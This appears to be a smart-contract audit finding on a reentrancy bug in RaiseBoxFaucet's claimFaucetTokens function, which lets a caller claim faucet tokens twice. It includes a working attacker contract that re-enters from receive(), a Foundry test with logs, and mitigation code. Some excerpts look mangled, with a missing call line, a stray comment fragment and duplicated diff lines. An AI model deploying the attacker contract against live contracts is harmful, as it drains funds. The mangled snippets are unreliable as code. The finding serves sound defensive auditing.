Description
The function claimFaucetTokens of the contract RaiseBoxFaucet is vulnerable to a reentry attack. Although the contract protects against reentry for the ETH transfer (by updating hasClaimedEth before the transfer), it does not follow the pattern "Checks-Effects-Interactions" for the transfer of tokens. Indeed, the function performs a token transfer via _transfer after making an external call (for ETH) and before updating the lastClaimTime and dailyClaimCount status for the current call.
An attacker can deploy a malicious contract that, upon receiving ETH (in the receive function), recalls the claimFaucetTokens function. During this second call, the checks are carried out because lastClaimTime has not yet been updated by the first call. Thus, the attacker receives a second time the faucet tokens. However, the cooldown prevents a third re-entry because lastClaimTime is updated after the transfer of tokens.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:
High: an attacker can easily deploy a contract to exploit this vulnerability whenever they claim tokens.
Impact:
An attacker can obtain twice the amount of faucet tokens (2000 tokens instead of 1000) in a single transaction. In addition, it also receives the ETH drip (0.005 ETH) only once. This allows the attacker to access more tokens than allowed, which can lead to an imbalance in token distribution and a partial drain of the contract.
Proof of Concept
function testTokenReentrancy() public {
TokenReentrancyAttacker attacker = new TokenReentrancyAttacker(address(raiseBoxFaucet));
uint256 attackerTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
uint256 faucetTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
console.log("Balance tokens attacker before:", attackerTokenBalanceBefore);
console.log("Balance tokens faucet befor:", faucetTokenBalanceBefore);
console.log("Normal Drip Amount:", faucetDrip);
attacker.attack();
uint256 attackerTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 faucetTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
console.log("Balance tokens attacker after:", attackerTokenBalanceAfter);
console.log("Balance tokens faucet after:", faucetTokenBalanceAfter);
assert(attackerTokenBalanceAfter > attackerTokenBalanceBefore + faucetDrip);
console.log("");
console.log("Tokens receive:", attackerTokenBalanceAfter - attackerTokenBalanceBefore);
console.log("Drips made:", (attackerTokenBalanceAfter - attackerTokenBalanceBefore) / faucetDrip);
}
contract TokenReentrancyAttacker {
RaiseBoxFaucet public raiseBoxFaucet;
uint256 public attackCount;
constructor(address _raiseBoxFaucet) {
raiseBoxFaucet = RaiseBoxFaucet(payable(_raiseBoxFaucet));
}
function attack() public {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
attackCount++;
if (attackCount == 1) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}
Result :
Logs:
Balance tokens attacker before: 0
Balance tokens faucet befor: 1000000000000000000000000000
Normal Drip Amount: 1000000000000000000000
Balance tokens attacker after: 2000000000000000000000
Balance tokens faucet after: 999998000000000000000000000
Tokens receive: 2000000000000000000000
Drips made: 2
Recommended Mitigation
It is recommended to follow the pattern "Checks-Effects-Interactions" to secure the function. More precisely:
Perform all checks first.
Update all states (effects) before any external interaction.
Perform the external interactions (interactions) last.
In the case of the function claimFaucetTokens, it is necessary to:
Update lastClaimTime[msg.sender] and dailyClaimCount before transferring ETH and tokens.
Move ETH transfer and token transfer after state update.
In addition, it is advisable to use a reentry modifier (such as OpenZeppelin’s nonReentrant) to protect against this type of attack.
Here is an excerpt from the correction:
Note: It is also necessary to reset dailyDrips if necessary, but this must be done in the Effects section.
Another solution is to use a guard against reentry:
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
// ... the function code ...
}
}
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
}
}
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// AJOUTER: Effects avant les interactions
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
// AJOUTER: Mettre à jour l'état avant le transfert
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
- else { dailyDrips = 0; }
// Interactions (transfert de tokens)
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}